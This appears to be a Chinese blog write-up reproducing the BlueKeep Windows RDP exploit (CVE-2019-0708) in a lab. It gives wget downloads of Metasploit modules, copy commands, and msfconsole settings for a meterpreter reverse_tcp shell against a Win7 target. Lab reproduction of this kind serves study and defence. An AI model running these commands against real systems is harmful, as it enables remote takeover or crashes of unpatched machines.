zoukankan      html  css  js  c++  java
  • CVE-2019-0708 远程桌面漏洞复现

    9.7号凌晨一点多,开发者 @rapid7  在Github上放出了windows远程桌面服务RCE漏洞(CVE-2019-0708)的exp。一大早醒来,朋友圈就被各大公司安全预警给刷了屏,趁着上午,立马把该exp复现了一波。

    漏洞影响Windows版本

    • Windows XP SP3 x86
    • Windows XP Professional x64 Edition SP2
    • Windows XP Embedded SP3 x86
    • Windows Server 2003 SP2 x86
    • Windows Server 2003 x64 Edition SP2
    • Windows 7 for 32-bit Systems Service Pack 1
    • Windows 7 for x64-based Systems Service Pack 1
    • Windows Server 2008 for 32-bit Systems Service Pack 2
    • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 for Itanium-Based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2
    • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
    • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1
    • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
    • Windows 8和Windows 10及之后版本的用户不受此漏洞影响。

    复现环境:

    • Kali:192.168.10.11
    • Win7(X64,SP1):192.168.10.16
    • Windows Server 2008 SP2 DataCenter(X64):192.168.10.15 (不在漏洞范围内)

    首先,在Kali主机上下载相关的rb文件。

    wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

    然后将这些主机文件复制到MSF的相应目录下(其实,主要的攻击文件只有一个:cve_2019_0708_bluekeep_rce.rb,其他几个文件可有可无)。

    有可能你的MSF的目录不一样,这就需要你自己查找相应的目录。

    正常的kali是下面这些命令,因为MSF是装在 /usr/share目录下
    cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
    cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/
    cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/    #这里有可能提示不存在这个目录,我们去相应的目录下新建rdp文件夹即可
    cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
    
    这里因为我的MSF是更新后的,装在 /opt 目录下,所以,我是下面这几个命令
    cp rdp.rb  /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit
    cp rdp_scanner.rb  /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner
    cp cve_2019_0708_bluekeep_rce.rb   /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp  #这里有可能提示不存在这个目录,我们去相应的目录下新建rdp文件夹即可
    cp cve_2019_0708_bluekeep.rb  /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp

    进入MSF,重载模块:reload_all

    查找漏洞利用模块,进入模块

    search 0708
    use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

    查看targets

    设置参数

    set payload windows/x64/meterpreter/reverse_tcp   #设置payload
    set rhosts 192.168.10.16             #目标机ip
    set lhost 192.168.10.11              #攻击机ip
    set rdp_client_ip 192.168.10.16      #目标机ip
    unset RDP_CLIENT_NAME                #取消设置这个参数
    set target 2    #这里我是vmware的虚拟机,按理来说target应该是设置为3,但是设置为3没打成功,设置为2打成功了

    攻击成功,成功拿到目标机反弹回来的shell。

    按照这个步骤,攻击Windows Server 2008R2蓝屏。看网上说貌似是要改注册表,需要修改注册表HKEY_LOCAL_MACHINESYSTEMControlSet001ControlTerminal ServerWinStations dpwdfDisableCam 值修改为0。但是我的这个DataCenter的Server2008R2 没有这个注册表。而且好像貌似 DataCenter的Server 2008R2 并不在漏洞影响系统之内。所以打成蓝屏了。

    看了网上很多人的文章,也都是说打的蓝屏。总的来说,这个漏洞的质量并没有MS17_010永恒之蓝的高,没打成就变成蓝屏了。而且利用起来貌似限制蛮多的。单核服务器上成功率约90%, 双核上 40-60%, 四核上10%,如果失败,目标系统会蓝屏。

    参考文章:https://github.com/rapid7/metasploit-framework/pull/12283?from=groupmessage&isappinstalled=0

                      CVE-2019-0708/1181/1182:Windows RDP服务蠕虫级漏洞修复指南(Version 3.0)

                    【预警通告】Windows远程桌面服务远程代码执行漏洞(CVE-2019-0708)EXP披露预警

  • 相关阅读:
    Linux/shell: remove adjacent similar patterns
    Calculate difference between consecutive data points in a column from a file
    awk
    自定义Cordova插件(基础篇)
    npm init 命令生成package.json文件
    自定义Cordova插件详解
    Android 回退键监听
    Cordova结合Vue学习Camera
    解决悬浮的<header>、<footer>遮挡内容的处理技巧
    npm 是干什么的
  • 原文地址:https://www.cnblogs.com/csnd/p/11807644.html
Copyright © 2011-2022 走看看